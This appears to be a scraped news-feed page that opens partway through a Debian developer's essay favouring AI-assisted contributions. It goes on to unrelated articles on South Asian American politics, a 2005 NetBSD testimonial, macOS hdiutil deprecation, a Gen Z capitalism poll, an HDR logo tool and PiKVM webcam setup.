    And if we go into the power question deeper, well the grid dynamics and economics become very, very complex and often also non-intuitive. Like, all large software companies with data centers (that also happen to provide AI services), like Google, Meta, Apple, Microsoft and others do actually care about sustainability (in part because their customers care and vote with their wallets) and so all of them use 100% green energy for their data centers (including AI data centers) .... "on an annual scale". Wait, what does that mean? Well, the electrical grid is special - the amount of electricity produced and consumed on the whole electrical grid together has to match almost exactly every second . If there is just a single second where there is significantly more energy consumed from the grid than is produced, the frequency will plummet and you get a brownout and risk a grid collapse. The same is true in reverse - that causes a voltage swell. So grid operators manage energy flows every second and command power stations to increase and decrease generation all the time. Some power stations are easier to regulate dynamically than others. In the end, all that means is that even if your data center has a contract for 100% green energy with your power company, at some seconds across the year there might not be enough green energy in the grid to fully supply ALL people and companies that have 100% green energy contracts. This gets compensated in other seconds, so that across the year ("on an annual scale") for each kWh that your data center pulled from the grid, the same amount of kWh of 100% green energy flows into the grid. But it might not happen at the exact same second. Pedantic companies, like Google, take that discrepancy and count that as CO2 emissions for themselves. And then they and the power companies (they have contracts with) invest billions into new green energy projects, better grids and better batteries so that eventually this discrepancy goes down to zero. In this way green AI data centers with their increasing consumption of green energy are actually doing a lot of good work in making our electrical grid more green. They are making more resources than they are consuming. And that is just the tip of the iceberg. This is a deep topic that really abhors generalizations like "more consumption = bad".

    I've heard similar discussions in the context of electric cars - "so you got an electric car? you'd have fewer emissions if you drove no car at all!". That might be so. And I would also reduce my emissions to zero if I stopped breathing, but I really do not want that kind of thinking to be propagated further, especially when impressionable young people are around who may take it to its logical (but wrong!) conclusion. Instead I talk about how early adopters use electric cars to gather experience and achieve volume to start the network effects working. Once network effects of many electric cars on the roads are sufficient, it becomes an economically logical choice to get an electric car. People who cannot avoid having a car start to switch over. And at the point of mass switchover the reduction of emissions is so massive that those early adopters failing to go all the way to riding a bicycle becomes a rounding error.

    But surely that does not apply to LLMs? They are only increasing consumption and bring no benefit?

    Benefit - and here we have to actually talk about benefits. Because you cannot make any cost-benefit analysis if you do not actually fully investigate the benefits. Are there environmental benefits from running those AI models? Yes, in a lot of very diverse ways. Hard to measure, however. There are projects that are easy to quantify - like that Google AI project on contrail avoidance. An advanced, special model trained and executed in Google AI data centers was able to predict where in the air contrails would be produced and could generate proposed course adjustments to commercial flights to avoid specific heights in specific locations at specific times. This stopped these aircraft from creating contrails and those contrails did not make a further contribution to global warming. That benefit in a year was many times higher than the environmental cost of training and running that AI model. And it can keep running for many years accumulating further benefits.

    On a personal scale, I've had problems that I bashed my head (and computer and CI resources) against without much success years ago solved with a few minutes of compute. Having a good enough candidate solution quickly is much cheaper from a resource perspective than spending days trying different things, running my PC for it, trying different patches on CI executions, doing different rebuilds. I've seen very significant benefits in AI-assisted development in enterprise environments where code way more complex than what is in Debian (especially in Debian tools and packaging) gets analysed, reviewed, modified or even refactored or rewritten in another language with AI assistance. And it generally works. The commonly mentioned "hallucinations" are a thing of last year in the coding context. Nowadays the AIs work in special coding harnesses and use real tools as foundational facts. You cannot "hallucinate" an API call or parameter if you have to run and pass the unit tests and integration tests by your harness before you can return "success" to the caller. I've personally seen high-level AI models read very complex software projects across multiple repositories and point out a very specific design consideration that was encoded in the code logic, but never mentioned in comments or documentation. It was so obscure that even I did not immediately know what it was talking about (and I wrote that code). Only on close inspection of code interaction across three repos did I remember that there was indeed that bug 2 years ago that I fixed by doing the change that this AI picked up (it wasn't in the history of this git repo due to repo migration). It mentioned this because it was very relevant to the task I initially gave it to review.

    These LLMs in a proper harness with proper system instructions and usage approach are not just fancy spell checkers or auto-complete. They function more like very advanced pattern matchers. They have learned millions of patterns from training data. When they look at the code, they see hundreds or thousands of overlapping patterns. When you ask them to make or change something, they pull out a pattern (or ten) from their training and apply those patterns to the context of your program. You get something that looks just like the surrounding code, same style choices, same language, same comment voice, but it implements something new there, based on other patterns learned. If you've studied design patterns in your CS class, this will be familiar. But people can learn and remember maybe 20-30 patterns, while an LLM can have a million patterns and can combine them when needed. So it takes a pattern of Python code, pattern of standalone script, pattern of parsing command line parameters, pattern of classes, pattern for background threads, pattern for file tree traversing, pattern for pipes, ... and squishes them together to make a solution for your query. And then tries to debug it with compilation, tests and execution until it works as expected. Even if there is zero LLM development going forward, it will take many years to fully appreciate the benefits we can extract from the already trained models. They don't even have to be retrained - for existing languages they just keep working. For new language variations, like a new Python version, you can feed the changelog into context and they will be able to work with a Python version that they never saw in training. And patterns are mostly abstract, so not really specific to any language - human or programming.

    This is another big enabler that LLMs have created that we have not really explored yet. LLMs have created really free software. People can actually create software that is perfectly suited just for them and no one else. They don't even have to know how to program and don't even need to speak English. I've seen people writing prompts in their native language and LLMs creating and then adjusting web apps or Android/iPhone apps and deploying them to the user's own phone. It was too buggy to work last year, but this year it is actually very functional for simpler use-cases. And the code looks just fine too - I've seen external contractors in a business setting deliver far worse. If you start with a good initial system prompt, the project will have architecture documentation, use-case documentation, unit tests, integration tests, deployment harness, testing and production deployments, audit logs, monitoring, clear git commits, CI validation on commit, ... Modern AI systems have the capabilty to deliver software freedom to people who are not coders. I really can not overstate the consequences this may have on the world.

    Community - I find the concerns that new people will be using LLMs so much that they will no longer be understanding the actual code they are contributing a bit regressive. I don't see any significant difference between this and people relying on compilers, on high-level languages or on debhelper. Writing modern debhelper packaging feels more like writing configuration and not writing code. It takes really significant effort to dig down through layers of abstraction to find what actually is being executed in debian/rules. AI does not really make this worse. In fact, I find that AI can make it much easier to understand arcane syntax because you can ask an LLM to explain what is happening in any part of the code and it will do a pretty good job of it, digging down through the layers of abstraction for you. All the pro-AI proposals include the requirement that each human contributor needs to understand and stand behind their AI-assisted contribution and I believe that is a good requirement and also a sufficient requirement. Modern LLMs not only produce clear and concise code, but they are also capable of producing good comments explaining why the code is how it is, good commit messages explaining the change and reason behind it and also making corresponding changes to test suites and documentation. You know - the housekeeping stuff that is often skipped because it slows down the actual feature development, but then its lack becomes a problem for future contributors. Responsible use of AI assistance is a great chance to actually strengthen our community and make our software easier to maintain.

    That said, I have no qualms about flat-out rejecting contributions that do not make sense. And it does not matter if they are made with or without AI assistance. If the contributor will not explain their patch, it might be they do not understand what their AI produced or it could be that the contribution is deliberately hiding a backdoor being planted. It is also quite common for a contribution of a new feature to be rejected because the author/maintainer does not believe that it is a good fit for the project. Featuritis is a real disease. AI or not. There have always been drive-by contributions to various projects. They will continue to exist. Each of them should be evaluated on its merits - is this feature valuable to our users and is the added complexity (if any) worth the functionality? A lot of security bug reports are "drive-by" contributions as well. And many of them nowadays are discovered, exploited and patched with AI assistance. We could reject them, but that just leaves us holding the bag on the now-known exploits.

    And the New Maintainer process should be able to figure out if an upcoming Developer has actually understood the nuances of Debian packaging or not. A contributor with upload rights to the archive has to be able to create a basic package with no support tooling (maybe even without using debhelper?) and be able to understand and modify more complex packages (possibly with tooling support). IMHO that is a separate discussion that is worth having, involving experts from the educational sector.

    Conclusion

    IMHO the Debian project should not restrict what tooling individual contributors use to contribute. Expecting high-quality contributions and that contributors understand what they are contributing (as a first level of review) is enough.

    However, Debian should provide its contributors (internal or external) with guidance on how to contribute in the best way possible. That could include:

    • information on which AI services have Terms and Conditions that make them problematic for free software development, legally speaking
    • information on which AI services do (or do not) achieve a sufficient level of sustainability to be worth recommending (and then do the same for other data centers we already use)
    • information on which local AI models were trained in sustainable ways
    • base-level prompts to set technical expectations on various types of contributions, like bug reports or patches to packaging or translations
    • default configuration for AI-assisted code reviews on Salsa that projects could enable and supplement with their own instructions on top

    In addition to that it would be helpful for Debian, as a project, to reach out to AI service providers to:

    • encourage them to improve sustainability (where needed)
    • investigate and fix problems causing excessive scraping load on systems
    • provide AI resources for Debian usage, for example in CI infrastructure or to provide equal development support opportunities for Debian developers who cannot afford paid AI services
    • improve coding outputs of their models in the Debian context if/when systematic deficiencies in the output are found by us

    Questions? Feedback? Just ask here or here .

    English ↔ Claudish Translator

    Hacker News
    programasweights.com
    2026-08-22 15:19:15
    Comments...

    South Asian Americans Need Solidarity, Not the “Model Minority” Myth

    Portside
    portside.org
    2026-08-22 15:16:33
    South Asian Americans Need Solidarity, Not the “Model Minority” Myth Kurt Stand Sat, 08/22/2026 - 15:16 ...
    Original Article

    Before we became the “model minority,” Indian Americans were once considered the “problem minority.” Accounts from the late 19th and 20th centuries, for example, called early Punjabi and Bengali migrant farm workers everything from “undesirable” to “effeminate, caste-ridden, and degraded.”

    From being barred from naturalization and citizenship rights in the 1920s to holding positions at the forefront of political and corporate power today, Indian Americans have come a long way. However, not all members of the South Asian diaspora have benefited equally — and some prominent Indian Americans may be widening that divide by allying with conservative white Americans who support crackdowns on other immigrant communities.

    The median annual income of Indian-headed households was $151,200 in 2023 — nearly double the figure for the country at large. There’s immense pride about that among the community — but I often question how beneficial it really has been to the whole South Asian diaspora. Alongside these more prosperous Indian American families, many South Asians work as taxi drivers, restaurant workers, cashiers, small business owners, and delivery workers, among other low-wage professions.

    These South Asian immigrants also bear the costs of having fewer protections, experiencing more exploitation, and working for lower wages. That’s reflected in official poverty statistics. As of 2025, about 6 percent of Indians in the U.S. lived in poverty. Compare that to 9 percent of Nepalese, 9 percent of Sri Lankans, 12 percent of Pakistanis, and 14 percent of Bangladeshis in this country.

    All South Asian communities in this country are descended from immigrants seeking a better life in the United States. But the U.S. government has always been selective about who’s allowed to thrive in this country. From 1965 to the late 1970s, a large wave of Indians immigrated to the U.S. after Congress passed sweeping immigration reforms that ended decades of discriminatory immigration restrictions on South Asians and many other nonwhite migrants.

    Following these reforms, the U.S. opened the door especially for highly skilled, highly qualified — and in practice, often upper caste — Indians. This group consisted of physicians, engineers, and lawyers, who were able to gain educational and financial success and settle in suburban neighborhoods, becoming the “model minority.”

    Yet while upper-caste Indians remained the majority among Indian immigrants, later immigration pathways —  including the Diversity Visa program , which was launched in the 1990s to increase immigration from countries historically underrepresented in the U.S. immigration system — also brought many South Asians from historically marginalized caste backgrounds. Having had less access to education, wealth, and professional networks before migrating, many entered lower-paying jobs and faced greater economic hardship and discrimination in the United States.

    This further separated upper-caste Indians from the rest of the South Asian diaspora, as upper-caste Indians were able to better assimilate into American culture and gain capital. Meanwhile, many conservative, affluent Indian Hindus have found allies in the conservative white Christians who dominate much of the GOP political class and uphold a capitalistic system that upper-caste Indians also value.

    My family members, like many other Indian Americans, would credit our success to our deep-rooted values of hard work, discipline, and family. But I don’t often see that praise in the Indian American community extended to low-wage South Asian workers, who are just as hardworking and family- oriented.

    Instead, we now see a rise of conservative Indian American politicians actively participating in anti-immigration rhetoric.

    During his presidential run, Republican Vivek Ramaswamy stated he would “gut” the H1-B program and revoke birthright citizenship , just like President Donald Trump attempted. Others, such as former South Carolina governor Nikki Haley and FBI director Kash Patel , have expressed support for hardline immigration enforcement and funding ICE.

    Of course, this is hypocritical. Privileged and higher caste individuals have benefited from U.S. immigration policies more than poorer South Asian immigrants have.

    Yet no matter how much conservative, wealthy Indian American politicians assimilate to America’s ruling class, they will never escape this country’s racism. Upper caste politicians like Vivek Ramaswamy have faced massive online racism, with people telling him to “go back to India.” Even being married to Vice President JD Vance hasn’t spared Usha Vance from anti-Asian rhetoric, with MAGA supporters criticizing Vance for marrying someone “non-white” .

    In short, even being a “model minority” isn’t a ticket out of experiencing racism. The “model minority myth” is a political tool to hide America’s systematic discrimination, maintain racial hierarchies, and mask the economic struggles South Asian communities have always disproportionately experienced.

    It’s time to change the status quo in our community, build solidarity, and hold our leaders accountable.

    Other leaders are modeling this different way forward. New York City Mayor Zohran Mamdani and Reps. Ro Khanna (D-CA) and Pramila Jayapal (D-WA) have all expressed pride in their Indian heritage. All have also fiercely criticized the Trump administration’s crackdown on immigrant communities while embracing an economic agenda to empower working people whatever their race, color, religion, or immigration status. Their message is clear: those struggles are linked.

    We need to look towards these South Asian figures, hold them accountable, and challenge the racist and classist mindsets of others in our communities. Most importantly, we need to understand that our struggles are interconnected. We are over a billion people with a deep history of struggles and liberation. By being united, we can bring progress and beauty to this world.

    I ndia Currents is an award-winning, nonprofit news organization producing Indian American stories that explain and explore living in the United States. Established in 1987, we are the oldest newsroom dedicated to covering America’s Indian diaspora of 5 million, the fastest-growing Asian population in the United States.

    As community conveners, we play a unique role in forging connections among Indian Americans, breaking down cultural silos, and fostering civic engagement that extends beyond our immediate community. India Currents is more than a media outlet; we are a dynamic force shaping the narrative, connecting people, and championing the values that define our shared journey.

    NetBSD and My Life (2005)

    Hacker News
    mail-index.netbsd.org
    2026-08-22 15:07:46
    Comments...
    Original Article
    Subject: NetBSD and my life...
    To: None <netbsd-advocacy@netbsd.org>
    From: gary rolland <rollandgary@gmail.com>
    List: netbsd-advocacy
    Date: 09/10/2005 16:40:17
    Hello NetBSD Team,
    
    I have been using NetBSD for about two years on my laptop and never
    had any problems. I use this laptop in work and at home. I knew NetBSD
    was capable of much more, and I was hell bent on using it at work too!
    
    The main reason for this email is to let you guys know what we mainly
    use NetBSD for - supporting over 4,800 heavy users (some remote) and
    counting. It's my story about what NetBSD has done for my life, and
    how it has actually improved my personal life. I hope you will enjoy
    it and that it'll offer further encouragement to continue the truly
    excellent work.
    
    I'll start off by introducing myself. My name is Gary Rolland and I
    live in the United Kingdom. I work in a team consisting of three other
    network admins. We all work for a large UK based company. Our task is
    to keep the servers up and to do maintenance. We work on shifts and
    can be called out at any time, night or day. We are not responsible
    for the client machines within the buildings. Sadly, I am unable to
    disclose the actual company name. I received permission to give you
    information about what we use NetBSD for and that only (I begged
    infact). Our network is mission critical - down time costs the company
    mega money. I certainly would not want to foot the bill!
    
    (Note: I have also been told not to disclose network infrastructure in
    great detail. If you have any comments/questions, please do ask. I'll
    try my best to answer them the best I can)
    
    Currently, our network consists of 29 high end servers. They all run
    NetBSD 2.0.2 and deal with extremely high loads. The servers handle:
    
    - MySQL databases - This makes up most of our traffic/resource usage.
    
    - Apache - Internal and external
    
    - Postfix - Interval and external email=20
    
    - Samba - Allow the 4,800 users to connect to the NFS.
    
    (Note: Our file servers are connected to NetBSD. So it's like=20
    Users->NetBSD->File server. Our file servers run Linux. Am not allowed
    to touch them! However, the email and httpd data is stored directly on
    the NetBSD servers. Just for your information, our file servers go
    down more than our servers;-))
    
    Data facts(avg. per day):
    
    - NetBSD pushes over 870GB of data per day.
    - NetBSD pushes about 1,200 emails per day (not always work related. I
    have seen joke emails a while back with 12MB attachments! (12MB x 4500
    :()).
    - NetBSD during peak hours, our httpd servers can deal with 35
    requests per minute(internal and external). The website is wrote in
    pretty heavy PHP (and bad PHP, but that's not my call).
    
    Originally our network servers used Windows, running on more older
    hardware than we have now. We have recently been through an upgrade.
    
    I can describe my admining of Windows as a complete f*cking nightmare.
    I was constantly worrying over when they would fall over. Here is a
    small story:
    
    I had been promising my 12 year old daughter and her friend that I
    would take them to Alton Towers. The night before we had planned to
    go, I raced into the server rooms and checked everything was running.
    I was happy things would be OK, because I was on call out the next day
    and I couldn't let my daughter down again(this has happened more than
    once). We was having a great time at Alton Towers and the worst thing
    happened. My work phone starts to ring. My daughters face just
    dropped, she knew exactly what was coming next.
    
    Boss: 'Gary, servers have all dropped to their knees. I need you here now.'
    Me: 'Sure, I'll be there in a few hours' (in a 'am going to kill
    someone voice').
    
    It really upset me to see my daughter let down again, including a
    friend. They had been talking about going all week and Microsoft
    Windows of all things messes everything up.
    
    Here I am, speeding up the motorway. My daughter completely pissed
    off, and for due reasons to. This has happened many other times
    before. I was even getting abit ratty at home since I'd be thinking of
    anything which could go wrong. This also lead to more arguments with
    the wife (which leads to a decrease in other things... ;)
    
    I knew something had to change.
    
    After I had fixed the problem, I stormed into my bosses office and
    explained we need more admins or need to change our servers. Cut a
    long story short, he allowed me to trial test two of our servers on
    NetBSD. He didn't know anything about it - just that I promised him I
    could increase the stability by a huge margin without disrupting
    business.
    
    That day I was in a mood to change things(pissed), and so I took two
    servers home. One was what we call a 'MySQL' server and one httpd
    server(the bosses go nuts if the httpd goes down).
    
    I had no room to fail.
    
    I was up till 4 AM in the morning installing and configuring things to
    our exact needs.   NetBSD as always installed flawlessly and I
    installed most required software from pkgsrc.
    
    I roled these machines into the network in the morning. I knew I had
    to wait now, until something crashed on Windows and to show my boss
    which machines still stood strong.
    
    That day, a few  MySQL machines just decided to go for a quick break,
    and rebooted themselves a few times(MySQL queries began to be far too
    slow). The boss was storming(due to the day before also). I showed him
    which machines did not fall down. He agreed within two hours for me to
    role out more NetBSD machines slowly.
    
    I was happy.
    
    At first it was hard. The other admins had no clue how to use NetBSD.
    However, with the time we spent fixing the Windows servers, we now had
    spare time. I began to show them how to configure things and they
    actually took a personal interest. They installed it at home and began
    to tinker with it, making sure they understood how to compile kernels
    etc etc. You know the stuff am talking about! I even printed the whole
    handbook out for us.
    
    Our whole Network was now running NetBSD.
    
    Things changed. I was not as busy as I always was. My relationships
    where getting better. I had more time with my daughter to watch her
    grow up. The rest of my team agreed - this had been the best move we
    had ever made. The boss also agreed. He was delighted with our
    improved stability. Infact, he was so happy that none of us are now on
    call out of a weekend. We're allowed to admin from home using ssh(we
    take turns per weekend).
    
    My team and I are constantly working and learning. We're becoming more
    and more efficient with NetBSD.
    
    NetBSD changed my teams life for the better.
    
    Last weekend I took my family to Alton Towers to finish what we
    started. We had a fantastic time! During the way home, this time not
    speeding, I has thinking about the people behind it. Those who put in
    time, little or large to make the project what it is. I decided to
    tell you guys my story, to show your work is greatly appreciated!
    
    Once more, thanks again for the all the work. Please keep it up.
    Please use this email in any way you wish. Post it on your personal
    website or whatever.
    
    Best Regards,
    Gary Rolland.
    

    hdiutil is deprecated in macOS 27 Golden Gate

    Hacker News
    lapcatsoftware.com
    2026-08-22 15:04:41
    Comments...
    Original Article
    Jeff Johnson ( My apps , PayPal.Me , Mastodon )

    August 14 2026

    The macOS command-line tool hdiutil is used to manipulate disk images. From the WHAT'S NEW section of man hdiutil on the latest macOS 27 Golden Gate beta:

    In macOS 27.0, hdiutil is deprecated. Use diskutil image instead for all disk image operations. diskutil image provides subcommands for attach, create, resize, info, and chpass. ASIF (Apple Sparse Image Format) images are only supported by diskutil image and are not supported by hdiutil.

    There’s also a DEPRECATION NOTICE at the top of the man page that lists the diskutil replacements for hdiutil subcommands.

    The majority of options from hdiutil appear to be preserved in diskutil , though under different names. However, some hdiutil options are missing, for example -puppetstrings :

    provide progress output that is easy for another program to parse. PERCENTAGE outputs can include the value -1 which means hdiutil is performing an operation that will take an indeterminate amount of time to complete. Any program trying to interpret hdiutil 's progress should use -puppetstrings .

    Also missing are some options specific to hdiutil create -srcfolder :

    -[no]crossdev
    -[no]scrub
    -[no]anyowners
    -skipunreadable
    -[no]atomic
    -copyuid

    I attempted to compare hdiutil and diskutil on Golden Gate by performing a backup of the user home folder, something I do daily on my MacBook Pro with macOS Sequoia. First:

    time hdiutil create -encryption -format UDZO -noatomic -noscrub -srcfolder /Users/stupiduser -stdinpass -verbose /Users/Shared/hdiutil.dmg

    This took around 110 to 115 seconds on average.

    It’s crucial to note that hdiutil triggers an authentication prompt, because one of the files is, annoyingly, owned by the root user. From the Terminal output:

    copy-helper[2598:97396] uid 501 does not have ownership of /Users/ stupiduser/ Library/ Group Containers/ group.com.apple.secure-control-center-preferences/ Library/ Preferences/ group.com.apple.secure-control-center-preferences.av.plist - setting needAuth to YES
    Scanning…
    Error 80 (Authentication error).
    /Users/ stupiduser/ Library/ Group Containers/ group.com.apple.secure-control-center-preferences/ Library/ Preferences/ group.com.apple.secure-control-center-preferences.av.plist: Authentication error

    The disk image creation continues and finishes successfully after authenticating with admin credentials.

    Now the new method:

    time diskutil image --stdinpassphrase --verbose create --encrypt from --format UDZO /Users/stupiduser /Users/Shared/diskutil.dmg

    This simply fails and, despite the verbose option, doesn’t tell you why.

    [100% completed]
    Error: Failed to create disk image: The operation couldn’t be completed. Operation not permitted

    Luckily, I guessed the reason, the root-owned file. Unlike hdiutil , diskutil does not trigger an authentication prompt. Thus, I had to delete the root-owned file to get diskutil to work.

    [100% completed]
    /Users/Shared/diskutil.dmg created

    Again, not particularly verbose. However, the progress percentage does update in place during the disk image creation, so there is some kind of substitute for the hdiutil -puppetstrings option.

    The good news is that diskutil was significantly faster, taking around 40 to 45 seconds on average to finish, more than a minute faster than hdiutil . Also, the resulting dmg file from diskutil was smaller, 2.8 GB, as opposed to 2.89 GB from hdiutil .

    I mounted the two disk images and used the FileMerge app (embedded inside the Xcode app) to compare them. Aside from a few files that were naturally modified in the few minutes between the two command-line invocations, the main difference was that the hdiutil disk image included the ~/.Trash/ folder, while the diskutil disk image did not. In other words, diskutil behaved as if the -scrub option of hdiutil were enabled.

    -[no]scrub do [not] skip temporary files when imaging a volume. Scrubbing is the default when the source is the root of a mounted volume. Scrubbed items include trashes, temporary directories, swap files, etc.

    So it appears that diskutil in Golden Gate needs some work:

    1. Improve verbose logging
    2. Handle file permission problems
    3. Add the -[no]scrub option

    To conclude, I don’t understand why hdiutil needs to be deprecated when the same functionality will live on in diskutil . For some reason, Apple seems intent on breaking longtime workflows and scripts. Many years ago I actually worked on an app, Knox, that calls hdiutil directly. If hdiutil were removed from macOS, that would completely break such an app.

    By the way, both hdiutil and diskutil on Golden Gate still suffer from the bug I blogged about last year, Inaccessible .bnnsir files on macOS Sequoia . A couple days ago I got a ridiculous update to the bug report I filed with Apple, “hdiutil create copy error with Siri CoreSpeech .bnnsir files” (FB17162985). Despite giving Apple 100% reliable steps to reproduce, they asked me if the issue still occurred in the latest beta, and if it does, then I should submit an iOS sysdiagnose. Yes, Apple requested an iOS sysdiagnose for a macOS bug. And needless to say, the latest Golden Gate beta did not magically fix the bug.

    Jeff Johnson ( My apps , PayPal.Me , Mastodon )

    Gen Z Turns Against Capitalism As DSA Takes Off

    Portside
    portside.org
    2026-08-22 15:01:29
    Gen Z Turns Against Capitalism As DSA Takes Off Dave Sat, 08/22/2026 - 15:01 ...
    Original Article
    Gen Z Turns Against Capitalism As DSA Takes Off Published

    genunison.com

    Only 9 percent of Americans younger than 30 have a “very positive” view of capitalism, according to a new CBS/YouGov poll .

    That shows a stark generation between Generation Z and older generations.

    Thirty-three percent of people older than 65, or those in the baby boomer generation, said they have a very positive view of capitalism, while 23 percent of people aged 45-64, a group that includes Generation Xers and older millennials, view capitalism very positively.

    Millennials in the 30-44 age range were closer to Gen Z, with just 15 percent saying they had a very positive view of capitalism.

    Forty-one percent of respondents younger than 30 had a very negative or somewhat negative view of capitalism. That compares with 27 percent of those 65 and older, 32 percent of those aged 45-64 and 37 percent of those aged 30-44.

    The data arrives amid a surge in democratic socialist victories across the U.S. — and not just in progressive corners of the country. Florida state Rep. Angie Nixon (D) on Tuesday beat out the more moderate Alex Vindman (D) in the Democratic Senate primary in Florida, a state known for its sunshine, not socialism.

    Ashik Siddique, national co-chair of the Democratic Socialists of America (DSA), said the polling illustrates what the group is seeing at the street level: Generation Z is ready for a big change.

    “We’ve seen that polling and it’s definitely striking, but to us, it really tracks with the experience that so many younger people have,” Siddique told The Hill.

    “Gen Z, especially by now, just like wasn’t even raised with a lot of the assumptions that I think millennials were,” he added. “Seeing the condition of the world today, our government spending so much money on militarism and expanding ICE and giving tax cuts to the billionaires to the tune of trillions of dollars while public services are being cut for most Americans — it’s just like the contrast is really clear.”

    When asked if there’s a gap between disliking capitalism and desiring a socialist economic system, Siddique said that in response to the capitalist status quo, “people are way more open to socialism.”

    He cited a 2025 poll from Jacobin and the DSA Fund that found “Democrats prefer democratic socialism to capitalism by a 58-point margin.”

    Nixon is seen as the underdog in the general election battle this fall.

    In response to her primary win, election handicapper Sabato Crystal Ball shifted its projection for the seat from “likely Republican” to a safe Republican seat.

    That’s partly because of the fundraising shortage Nixon is expected to have, but it also reflects doubts that democratic socialism will be a winning message in the fall in Florida.

    CBS/YouGov interviewed 2,287 U.S. adults between August 12 and 14 for their poll, which had a 2.6-point margin of error.

    Show HN: Make your logo extra bright on HDR screens

    Hacker News
    www.soverybright.com
    2026-08-22 14:43:03
    Comments...
    Original Article

    Upload a logo, choose which colors should glow, download an HDR JPEG. On HDR screens the chosen parts shine up to 7.5× brighter than #FFFFFF . Everywhere else it's a perfectly normal JPEG.

    Drop your logo here, or click to choose

    PNG, JPEG or WebP · free · nothing is stored

    • ISO 21496-1 gain-map JPEG
    • BT.2100 PQ for LinkedIn
    • base pixels untouched
    • nothing stored
    • free
    Two identical #FFFFFF squares. One carries a gain map.

    SDR white
    as bright as a screen normally goes

    The same white with a gain map: up to 7.5× brighter on an HDR display

    HDR white · +2.9 stops
    up to 7.5× brighter

    Checking your display and browser…

    Examples

    Original artwork, converted with this tool. Drag the handle; on an HDR display in a capable browser the right side glows. “Use this” loads the original into the tool above.

    The wordmark

    White type on black — the classic case. The whites are selected automatically.

    glows: whites

    Orbit mark

    A white ring plus one brand color. Whites and the blue are both pushed to the same peak.

    glows: whites + #2f6bff

    Sticker badge

    Cream type on dark teal — not white, so it's picked as a color. Light elements on dark backgrounds glow best.

    glows: #f5e9c8

    How it works

    Your JPEG stays a normal JPEG. For the web we add an ISO 21496-1 gain map — a second, tiny grayscale image that tells HDR-aware software how much brighter each pixel may go. For LinkedIn we write the pixels in BT.2100 PQ with the matching ICC profile, which LinkedIn preserves.

    What glows best

    Light, near-white elements on dark backgrounds. Strong (+2.9 stops, ~1,500 nits) is the measured real-world sweet spot. Dark colors can't really glow — boosting them reads as washed neon.

    Honest limits

    HDR only shows on HDR displays in software that honors gain maps or PQ profiles (Chrome, Safari 26, Apple Photos, LinkedIn's apps). Most other platforms strip or normalize it — the file still looks perfectly normal there.

    Also works on text

    Text can be brighter than white , too.

    CSS has no way to write a color brighter than #FFFFFF yet — the HDR color spaces in CSS Color HDR are still a draft. But you can paint real text through an HDR image: background-clip: text turns the glyphs into a window onto a gain-map JPEG. The headline at the top of this page is exactly that — select it, it's text.

    Brighter than white

    SDR text
    color: #fff

    Brighter than white

    HDR text
    background-clip: text over the swatch

    Checking your display and browser…

    • Where it works: wherever gain-map JPEGs render — Chrome 137+, Safari 26 / iOS 26 — on an HDR display. Elsewhere the swatch's base image shows through, so the text is simply white. Nothing breaks.
    • The swatch is a 64×64 white JPEG carrying a uniform gain map (7.5×, +2.9 stops, ~1,500 nits); the browser scales it under the glyphs. Any boost works: upload a white square to the tool above and pick an intensity.
    • Gate it on the display: inside @media (dynamic-range: high) only HDR screens take the image route; SDR visitors, Firefox and print keep a real color . That also sidesteps the one gotcha — background-clip only paints ink inside the element's box, so an overflowing line would get clipped.
    • Headlines and accents only. A paragraph at 1,500 nits is hostile. Give ::selection a color if yours is not already visible.
    • Why not filter: brightness() ? The page is composited in SDR; no filter or blend mode pushes a CSS color past white. Only HDR content gets the headroom — which is what the swatch is.

    PiKVM project has gained support for web-camera forwarding

    Lobsters
    docs.pikvm.org
    2026-08-22 14:41:43
    Comments...
    Original Article

    Official PiKVM V4 Mini/Plus and PiKVM V3 devices have an exclusive webcam feature. With it, you can transfer an image from your local web camera to the remote host to use it for streaming, video calls, debugging, and so on.

    The host sees the virtual camera as a completely ordinary USB device which doesn't require any special drivers. The maximum supported resolution at present is 1280x720.

    If you also want enable a microphone for video calls and other applications, after this instruction, please follow here .

    Limitations

    By installing the ucamera (follows), you agree that it will be used only on official PiKVM V3 and PiKVM V4 devices.

    We put a lot of effort into making this feature possible, so we want to keep it exclusive to PiKVM for a certain period. After that, we will publish the full source code of ucamera under GPLv3.

    Please note that this feature is in early access. Using the camera may cause PiKVM to fail. This is not fatal for PiKVM V3 and V4 since they have a robust hardware watchdog which reboot your device after a fail, but just remember that not everything can work perfectly.

    If you encounter a problem, we will be glad to receive your bug report to fix it: use our support chat or GitHub Issues .


    Enabling the camera

    USB limitations

    Each emulated USB device consumes a limited hardware resource called endpoints . On the default PiKVM, you can add only one or two of additional USB devices depending of its endpoint requirements.

    See here to get more information about the endpoints, add devices and flexibly manage the configuration on the fly.

    Also note that all USB devices uses the same USB identifiers as the keyboard, mouse and other stuff. You can change everything together, but not separately.

    A recommended hardware modification for PiKVM V3

    PiKVM V3 is a good old workhorse that was not designed for the kind of computing loads that the camera provides. It was released many years ago and was made for completely different requirements. However, we want V3 users to be able to enjoy our latest features as long as possible.

    A cooling system fan is installed inside V3, but there is no radiator on the CPU since it was simply not needed.

    Using the camera uses a lot of hardware blocks that we haven't used before, so in order to avoid potential overheating (if the fan is turned off or fails), we recommend buying and attaching additional heatsinks .

    Both PiKVM V4 contains a good heatsink inside, so no modifications are required.

    1. Perform OS update:

      Updating PiKVM OS

      Tip

      We recommend updating PiKVM OS only if you have physical access to the device, or in the most extreme cases. The update process is very reliable, but there is always a small chance that something may go wrong so reflashing will be required. PiKVM cannot be bricked, but you need physical access to the memory card for this operation.

      To update, run following commands under the root user:

      [root@pikvm ~]# pikvm-update
      

      If you encounter an error like:

      [root@pikvm ~]# pikvm-update
      bash: pikvm-update: command not found
      

      It's most likely you have an old OS release. You can update the OS as follows:

      [root@pikvm ~]# rw
      [root@pikvm ~]# pacman -Syy
      [root@pikvm ~]# pacman -S pikvm-os-updater
      [root@pikvm ~]# pikvm-update
      

      Next time you will be able to use the usual method with pikvm-update .

    2. Switch filesystem to RW-mode:

    3. Install ucamera package:

      [root@pikvm ~]# pacman -S ucamera
      
    4. Add a config to /etc/kvmd/override.yaml :

      otg:
          devices:
              camera:
                  enabled: true
      
    5. Add parameter gpu_freq=700 to /boot/config.txt on a separate line .

    6. Add parameter isolcpus=3 to /boot/cmdline.txt **to the end of existing one-line, separate with a space`.

    7. Perform reboot:


    Using the camera

    To use the camera, you will need Firefox, Chrome, or Safari of the latest version, operability on old/other browsers is not guaranteed. If you use macOS, you will have to update macOS entirely to update Safari.

    A camera is a device that is completely controlled by the host. The host tells it when to turn on the stream and what resolution should be used.

